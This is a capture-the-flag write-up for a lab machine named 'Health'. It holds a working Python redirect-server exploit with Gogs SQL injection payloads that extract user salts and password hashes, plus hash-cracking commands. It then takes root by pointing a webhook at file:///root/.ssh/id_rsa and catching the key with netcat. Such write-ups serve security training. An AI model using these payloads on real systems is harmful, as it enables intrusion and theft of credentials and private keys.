Health

From RCATs

As always run nmap on the target using default scripts and version enumeration.

# Nmap 7.93 scan initiated Thu Dec  8 17:46:02 2022 as: nmap -sCV -oA nmap/health 10.129.34.2
Nmap scan report for 10.129.34.2
Host is up (0.079s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 32b7f4d42f45d330ee123b0367bbe631 (RSA)
|   256 86e15d8c2939acd7e815e649e235ed0c (ECDSA)
|_  256 ef6bad64d5e45b3e667949f4ec4c239f (ED25519)
80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec  8 17:46:32 2022 -- 1 IP address (1 host up) scanned in 30.97 seconds

We see pretty quickly this website uses webhooks. So to get some info, We discover its using gogs when we forward it to port 3000. CVE-2014-8682 This python script below will start a HTTP redirect server (port 3000) and a netcat listener on 4444 When you visit health.htb you will need to fill in the following fields for this script to work right

Payload Url: http://yourIP:4444
Monitored URL: http://yourIP/
Interval: */1 ****
Select Always in the drop down menu

Run the script Select option 1 to see if you get a response. You will see an output called no_exploit.txt if it worked. Ctrl+C Select option 2 Ctrl + C Select option 3 Ctrl+C Select option 4

import sys  # Import the `sys` module
import threading  # Import the `threading` module
import os  # Import the `os` module
import subprocess  # Import the `subprocess` module
from http.server import HTTPServer, BaseHTTPRequestHandler  # Import the `HTTPServer` and `BaseHTTPRequestHandler` classes from the `http.server` module

while True:  # Start an infinite loop
    try:
        # Prompt the user for input and print a menu of options
        response = input("Please choose an option:\n1. No exploit\n2. Get Users\n3. Get Passwords\n4. End program\n")

        # Define a function that runs the `nc` command and writes the output to a specified file
        def run_nc(filename):
            os.system(f"nc -nlvp 4444 > {filename}")

        # Initialize a `thread` variable depending on the user's input
        if response == '1':
            thread = threading.Thread(target=run_nc, args=('no_exploit.txt',))  # If the user selects 1, run `nc` with the `no_exploit.txt` filename
        elif response == '2':
            thread = threading.Thread(target=run_nc, args=('users.txt',))  # If the user selects 2, run `nc` with the `users.txt` filename
        elif response == '3':
            thread = threading.Thread(target=run_nc, args=('passwords.txt',))  # If the user selects 3, run `nc` with the `passwords.txt` filename
        elif response == '4':
            break  # If the user selects 4, break out of the loop
        else:
            thread = threading.Thread(target=run_nc, args=('default.txt',))  # If the user enters something else, run `nc` with the `default.txt` filename

        # Start the `thread` if it has been defined
        if 'thread' in locals():
            thread.start()

        # Define a `Redirect` class that inherits from the `BaseHTTPRequestHandler` class
        class Redirect(BaseHTTPRequestHandler):
          # Override the `do_GET()` method of the `BaseHTTPRequestHandler` class
          def do_GET(self):
              # Initialize the `location` variable depending on the user's input
              if response == '1':
                  location = "http://127.0.0.1:3000"  # If the user selects 1, set the `location` to the default URL
              elif response == '2':
                # If the user selects 2, set the `location` to a URL that contains a SQL injection payload that attempts to get user information
                  location = "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"  
                # If the user selects 3, set the `location` to a URL that contains a SQL injection payload that attempts to get password information
              elif response == '3':
                  location = "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"  # Get Passwords
              else:
                  # If no valid response is provided, redirect to the default URL
                  location = "http://127.0.0.1:3000"
              # Send a 302 (temporary redirect) response to the client
              self.send_response(302)
              self.send_header('Location', location)
              self.end_headers()
        # Create an HTTP server that listens on port 80 and uses the Redirect class to handle requests
        HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()
    except KeyboardInterrupt:
        # Handle Ctrl+C by prompting the user for input again
        continue

Grab the required data from users.txt and passwords.txt into hash format at run hascat

echo 'sha256:100000':$(echo 'sO3X..eW14' | base64 | cut -c1-14)':'$(echo '66..74645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -p | base64) > hash.txt

Hashcat

hashcat -m 10900 hash.txt $ROCKYOU

Grab user from users.txt and log in

ssh s.....e@heath.htb

LinPEAS find msql password in /var/www/html/.env

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=M.................4+

PSPY64 finds this processing running

2022/12/10 04:15:01 CMD: UID=0    PID=18664  | /bin/bash -c sleep 5 && /root/meta/clean.sh
2022/12/10 04:15:01 CMD: UID=0    PID=18663  | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1

Digging through more files we find healthchecker.php Read comments below to get an idea how this works.

<?php

namespace App\Http\Controllers;

// This is a PHP class called HealthChecker
class HealthChecker
{
    // This is a static method called check that takes in three parameters:
    // $webhookUrl - The URL to which the JSON object will be sent via an HTTP POST request
    // $monitoredUrl - The URL that will be checked by sending an HTTP GET request
    // $onlyError - If true, the JSON object will only be sent to the $webhookUrl if the response from the $monitoredUrl is unsuccessful
    public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
    {
        // Create an empty array called $json
        $json = [];

        // Add the $webhookUrl and $monitoredUrl to the $json array
        $json['webhookUrl'] = $webhookUrl;
        $json['monitoredUrl'] = $monitoredUrl;

        // Send an HTTP GET request to the $monitoredUrl and store the response in $res
        $res = @file_get_contents($monitoredUrl, false);

        // If the response is successful
        if ($res) {
            // If $onlyError is true, return the $json array and exit the method
            if ($onlyError) {
                return $json;
            }

            // Add a key called 'health' with the value 'up' to the $json array
            $json['health'] = "up";

            // Add the response body to the $json array
            $json['body'] = $res;

            // If the $http_response_header variable is set (it contains the HTTP headers of the response)
            if (isset($http_response_header)) {
                // Create an empty array called $headers
                $headers = [];

                // Add the first HTTP header to the $json array as the 'message' key
                $json['message'] = $http_response_header[0];

                // Loop through all the HTTP headers
                for ($i = 0; $i <= count($http_response_header) - 1; $i++) {

                    // Split the header into a key and value pair, separated by a colon
                    $split = explode(':', $http_response_header[$i], 2);

                    // If the split was successful and there are two items in the resulting array
                    if (count($split) == 2) {
                        // Trim whitespace from the key and value, and add them to the $headers array
                        $headers[trim($split[0])] = trim($split[1]);
                    } else {
                        // If the split was unsuccessful, log an error message
                        error_log("invalid header pair: $http_response_header[$i]\n");
                    }

                }

                // Add the $headers array to the $json array
                $json['headers'] = $headers;
            }

        // If the response was not successful
        } else {
            // Add a key called 'health' with the value 'down' to the $json array
            $json['health'] = "down";
        }

        // Convert the $json array to a JSON string
        $content = json_encode($json);

        // Initialize a new cURL session
        $curl = curl_init($webhookUrl);

        // Set the CURLOPT_HEADER option to false to exclude the header from the output
        curl_setopt($curl, CURLOPT_HEADER, false);

        // Set the CURLOPT_RETURNTRANSFER option to true to return the transfer as a string of the return value of curl_exec() instead of outputting it directly
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

        // Set the CURLOPT_HTTPHEADER option to an array of HTTP headers to send along with the request
        curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-type: application/json"));

        // Set the CURLOPT_POST option to true to send a POST request
        curl_setopt($curl, CURLOPT_POST, true);

        // Set the CURLOPT_POSTFIELDS option to the JSON payload to include in the body of the request
        curl_setopt($curl, CURLOPT_POSTFIELDS, $content);

        // Execute the cURL request and retrieve the response
        $response = curl_exec($curl);

        // Close the cURL session
        curl_close($curl);

        // Return the response
        return $response;

In short monitoredURL can pass files and is control vis mysql.

Setup Netcat listener

nc -lvnp 80

On health.htb

Payload Url: http://yourIP/
Monitored URL: http://yourIP/
Interval: */1 ****
Select Always in the drop down menu

Login into mysql server and put payload

mysql -u laravel -pM.......................+
use laravel;
update tasks set monitoredUrl='file:///root/.ssh/id_rsa';

Wait for netcat to return id_rsa for root

-----BEGIN RSA PRIVATE KEY-----
.....<snip>....
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
.....<snip>....
-----END RSA PRIVATE KEY-----
chmod 600 id_rsa_root
ssh root@health.htb -i id_rsa_root

Profit